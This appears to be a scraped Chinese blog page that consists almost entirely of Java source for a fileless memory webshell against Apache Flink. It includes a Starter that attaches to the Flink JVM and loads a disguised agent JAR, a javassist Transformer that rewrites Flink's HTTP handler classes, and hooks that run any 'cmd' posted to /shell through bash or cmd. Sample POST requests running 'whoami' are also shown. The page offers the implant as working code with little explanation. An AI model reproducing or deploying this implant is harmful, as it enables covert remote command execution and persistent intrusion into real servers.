vlambda博客
学习文章列表

package com.attach.hook;public interface IHook { /** * @return 插桩代码 */ String getMethodSource(); /** * @return 被Hook的目标类空间名 */ String getTargetClass(); /** * @return 被Hook的目标方法名 */ String getTargetMethod(); /** * @return 被Hook的目标方法描述符 */ String getMethodDesc();}

POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: application/x-www-form-urlencodedContent-Length: 10cmd=whoami

package com.attach.hook;import com.attach.Agent;import io.netty.buffer.Unpooled;import io.netty.channel.ChannelFutureListener;import io.netty.handler.codec.http.*;import io.netty.handler.codec.http.multipart.DiskAttribute;import io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import io.netty.handler.codec.http.multipart.InterfaceHttpData;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import static com.attach.util.FileUtil.IS_WIN;import static io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static io.netty.handler.codec.http.HttpVersion.HTTP_1_1;import io.netty.handler.codec.http.HttpContent;public class Flink132 implements IHook{ @Override public String getMethodSource() { return "com.attach.hook.Flink132.getShell($0,$1,$2);"; } @Override public String getTargetClass() { return "org.apache.flink.runtime.webmonitor.HttpRequestHandler"; } @Override public String getTargetMethod() { return "channelRead0"; } @Override public String getMethodDesc() { return "(Lio/netty/channel/ChannelHandlerContext;Lio/netty/handler/codec/http/HttpObject;)V"; } public static void getShell(Object handler,io.netty.channel.ChannelHandlerContext ctx, io.netty.handler.codec.http.HttpObject msg) { //如果发生java.lang.NoClassDefFoundError异常，是无法捕获的，且会影响业务。 try { String uriSymbol = "/shell"; String cmdKey = "cmd"; if (msg instanceof io.netty.handler.codec.http.HttpContent) { Field currentDecoderField = handler.getClass().getDeclaredField("currentDecoder"); currentDecoderField.setAccessible(true); io.netty.handler.codec.http.multipart.HttpPostRequestDecoder currentDecoder = (io.netty.handler.codec.http.multipart.HttpPostRequestDecoder) currentDecoderField.get(handler); Field currentRequestField = handler.getClass().getDeclaredField("currentRequest"); currentRequestField.setAccessible(true); DefaultHttpRequest request = (DefaultHttpRequest) currentRequestField.get(handler); HttpContent chunk = (HttpContent) msg; //currentDecoder not null meaning method is POST and body has data. if (currentDecoder != null && request!=null) { if (request.getUri().startsWith("/UNINSTALL")) { if (Agent.transformer != null) { Agent.transformer.release(); } } if (request.getUri().startsWith(uriSymbol)) { currentDecoder.offer(chunk); Map<String, String> form = new HashMap<String, String>(); try{ while (currentDecoder.hasNext()) { InterfaceHttpData data = currentDecoder.next(); if (data instanceof DiskAttribute) { String key = data.getName(); String value = ((DiskAttribute) data).getValue(); form.put(key, value); } data.release(); } } catch (HttpPostRequestDecoder.EndOfDataDecoderException ignored) {} String cmd = "null cmd"; if (form.containsKey(cmdKey)) { cmd = form.get(cmdKey); } if (!form.containsKey(cmdKey)) { return; } String[] cmds = null; if (!IS_WIN) { cmds = new String[]{"/bin/bash", "-c", cmd}; } else { cmds = new String[]{"cmd","/c",cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); int a = -1; byte[] b = new byte[1]; outputStream.write("<pre>".getBytes()); while((a=in.read(b))!=-1){ outputStream.write(b); } outputStream.write("</pre>".getBytes()); HttpResponseStatus status = new HttpResponseStatus(200, "OK"); FullHttpResponse response = new DefaultFullHttpResponse( HTTP_1_1, status, Unpooled.copiedBuffer(outputStream.toByteArray())); response.headers().set(CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } // HTTP GET }else{ } } } }}

POST /shell HTTP/1.1Host: 192.168.198.128:8081Content-Type: multipart/form-data; boundary=--------347712004Content-Length: 98----------347712004Content-Disposition: form-data; name="cmd"whoami----------347712004--

package com.attach.hook;import com.attach.Agent;import org.apache.flink.shaded.netty4.io.netty.buffer.ByteBuf;import org.apache.flink.shaded.netty4.io.netty.buffer.Unpooled;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFuture;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelFutureListener;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.*;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.Attribute;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.HttpPostRequestDecoder;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Collections;import java.util.HashMap;import java.util.Map;import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.multipart.InterfaceHttpData;import org.apache.flink.shaded.netty4.io.netty.util.ReferenceCountUtil;import org.apache.flink.shaded.netty4.io.netty.channel.ChannelHandlerContext;import static com.attach.util.FileUtil.IS_WIN;import static com.attach.util.FileUtil.writeMsg;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONNECTION;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE;import static org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpVersion.HTTP_1_1;public class Flink190 implements IHook{ // public static String targetClass = "org.apache.flink.runtime.webmonitor.HttpRequestHandler"; @Override public String getMethodSource() { return "com.attach.hook.Flink190.getShell($0,$1,$2);"; } @Override public String getTargetClass() { return "org.apache.flink.runtime.rest.FileUploadHandler"; } @Override public String getTargetMethod() { return "channelRead0"; } @Override public String getMethodDesc() { return "(Lorg/apache/flink/shaded/netty4/io/netty/channel/ChannelHandlerContext;Lorg/apache/flink/shaded/netty4/io/netty/handler/codec/http/HttpObject;)V"; } public static void getShell(Object handler, ChannelHandlerContext ctx, HttpObject msg ) { //如果发生java.lang.NoClassDefFoundError异常，是无法捕获的，且会影响业务。 try { String uriSymbol = "/shell"; String cmdKey = "cmd"; if (msg instanceof HttpContent) { Field currentDecoderField = handler.getClass().getDeclaredField("currentHttpPostRequestDecoder"); currentDecoderField.setAccessible(true); HttpPostRequestDecoder currentHttpPostRequestDecoder = (HttpPostRequestDecoder) currentDecoderField.get(handler); Field currentRequestField = handler.getClass().getDeclaredField("currentHttpRequest"); currentRequestField.setAccessible(true); HttpRequest currentHttpRequest = (HttpRequest) currentRequestField.get(handler); final HttpContent httpContent = (HttpContent) msg; currentHttpPostRequestDecoder.offer(httpContent); if (currentHttpRequest.uri().startsWith("/UNINSTALL")) { if (Agent.transformer != null) { Agent.transformer.release(); } } if (currentHttpRequest.uri().startsWith(uriSymbol)) { Map<String, String> form = new HashMap<String, String>(); while (httpContent != LastHttpContent.EMPTY_LAST_CONTENT && currentHttpPostRequestDecoder.hasNext()) { InterfaceHttpData data = currentHttpPostRequestDecoder.next(); if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute){ Attribute request = (Attribute) data; form.put(request.getName(), request.getValue()); } } String cmd = "null cmd"; if (form.containsKey(cmdKey)) { cmd = form.get(cmdKey); } for (String key : form.keySet()) { writeMsg(key); } if (!form.containsKey(cmdKey)) { return; } String[] cmds = null; if (!IS_WIN) { cmds = new String[]{"/bin/bash", "-c", cmd}; } else { cmds = new String[]{"cmd","/c",cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); int a = -1; byte[] tmp = new byte[1]; outputStream.write("<pre>".getBytes()); while((a=in.read(tmp))!=-1){ outputStream.write(tmp); } outputStream.write("</pre>".getBytes()); HttpRequest tmpRequest = currentHttpRequest; getMethodInvoke(handler, "deleteUploadedFiles", null, null); getMethodInvoke(handler, "reset", null, null); HttpResponse response = new DefaultHttpResponse(HTTP_1_1, HttpResponseStatus.OK); response.headers().set(CONTENT_TYPE, "text/html"); response.headers().set(CONNECTION, HttpHeaders.Values.CLOSE); byte[] buf = outputStream.toByteArray(); ByteBuf b = Unpooled.copiedBuffer(buf); HttpHeaders.setContentLength(response, buf.length); ctx.write(response); ctx.write(b); ChannelFuture lastContentFuture = ctx.writeAndFlush(LastHttpContent.EMPTY_LAST_CONTENT); lastContentFuture.addListener(ChannelFutureListener.CLOSE); ReferenceCountUtil.release(tmpRequest); } } } catch (Exception e) { } } private static Object getMethodInvoke(Object object, String methodName, Class[] parameterTypes, Object[] args) throws Exception { try { Method method = getMethod(object, methodName, parameterTypes); return method.invoke(object, args); } catch (Exception e) { throw new Exception(String.format("getMethodInvoke error:%s#%s",object.toString(),methodName)); } } private static Method getMethod(Object object, String methodName, Class<?>... parameterTypes) throws Exception { try { Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes); method.setAccessible(true); return method; } catch (Exception e) { throw new Exception(String.format("getMethod error:%s#%s",object.toString(),methodName)); } }}

Agent-Class: com.attach.AgentCan-Retransform-Classes: true

package com.attach;import java.lang.instrument.Instrumentation;public class Agent { public static Transformer transformer = null; //注意，理论上运行环境已经有相关JAR包，为了减小打包后的JAR大小，在打包是不需要将javassist外的其他依赖打包进去 public static void agentmain(String vmName, Instrumentation inst) { transformer = new Transformer(vmName, inst); transformer.retransform(); }}

package com.attach;import com.attach.hook.IHook;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import java.util.ArrayList;import java.util.List;public class Transformer implements ClassFileTransformer{ private Instrumentation inst; private List<IHook> hooks = new ArrayList<IHook>(); Transformer(String vmName,Instrumentation inst) { //为了适配不同版本，这里不直接import try { if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager")) { this.hooks.add((IHook) Class.forName("com.attach.hook.Flink132").newInstance()); } } catch (Exception e) { } try { if (vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint")) { this.hooks.add((IHook) Class.forName("com.attach.hook.Flink190").newInstance()); } } catch (Exception e) { } this.inst = inst; inst.addTransformer(this, true); } public void release() { inst.removeTransformer(this); retransform(); } public void retransform() { Class[] loadedClasses = inst.getAllLoadedClasses(); for (Class clazz : loadedClasses) { for (IHook hook : this.hooks) { ; if (clazz.getName().equals(hook.getTargetClass())) { if (inst.isModifiableClass(clazz) ) { try { inst.retransformClasses(clazz); } catch (Throwable t) { } } } } } } @Override public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer ) { for (IHook hook : this.hooks) { String targetClass = hook.getTargetClass(); if (targetClass.replaceAll("\\.", "/").equals(s)) { try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get(targetClass); CtMethod m = ctClass.getMethod(hook.getTargetMethod(),hook.getMethodDesc()); m.insertBefore(hook.getMethodSource()); byte[] byteCode = ctClass.toBytecode(); ctClass.detach(); return byteCode; } catch (Exception ex) { } } } return null; }}

public class Starter { String agentJar = "HookSomething.txt"; /** * here use URLClassloader to load VirtualMachine class which from `tools.jar` * the load sequence is 1. try to load from local system's jdk/lib/tools.jar * 2. if can't load from local,try to load from the jar which we package * Because we need to use the JVMTI and communicate with JVM ,it's related to JVM, * so it's related to system architecture and java version. * In this case,load tools.jar from local is the best choice , it can avoid the problem case by * java version / system architecture . * @param args */ public static void main(String[] args) { try { Starter app = new Starter(); //将resource下的agent.jar释放到临时目录 String jarPath = app.writeAgentJar(); File javaHome = new File(System.getProperty("java.home")); // here only handle Open JDK situation,others didn't . . Win Oracle JDK String toolsPath = javaHome.getName().equalsIgnoreCase("jre") ? "../lib/tools.jar" : "lib/tools.jar"; URL[] urls = new URL[]{ //优先查找加载JDK LIB tools.jar new File(javaHome, toolsPath).getCanonicalFile().toURI().toURL(), //找不到的话加载打包的JAR，或者如果 .so 已经被加载 java.lang.UnstisfiedLinkError Starter.class.getProtectionDomain().getCodeSource().getLocation(), }; URLClassLoader loader = new URLClassLoader(urls, null); Class<?> VirtualMachineClass = loader.loadClass("com.sun.tools.attach.VirtualMachine"); Class<?> VirtualMachineDescriptorClass = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); Method listM = VirtualMachineClass.getDeclaredMethod("list", null); List vmList= (List) listM.invoke(null); Object vm = null; List<String> vmNames = new ArrayList<String>() { { add("org.apache.flink.runtime.jobmanager.JobManager"); add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint"); }}; for (Object vmd : vmList) { for (String vmName : vmNames) { Method displayNameM = VirtualMachineDescriptorClass.getDeclaredMethod("displayName", null); String name = (String) displayNameM.invoke(vmd); if (name.startsWith(vmName)) { Method attachM = VirtualMachineClass.getDeclaredMethod("attach", VirtualMachineDescriptorClass); vm = attachM.invoke(null, vmd); Method loadAgentM = VirtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class); loadAgentM.invoke(vm, jarPath, vmName); Method detachM = VirtualMachineClass.getDeclaredMethod("detach", null); detachM.invoke(vm, null); System.out.println("success"); } } } loader.close(); new File(jarPath).delete(); } catch (Exception e) { e.printStackTrace(); } }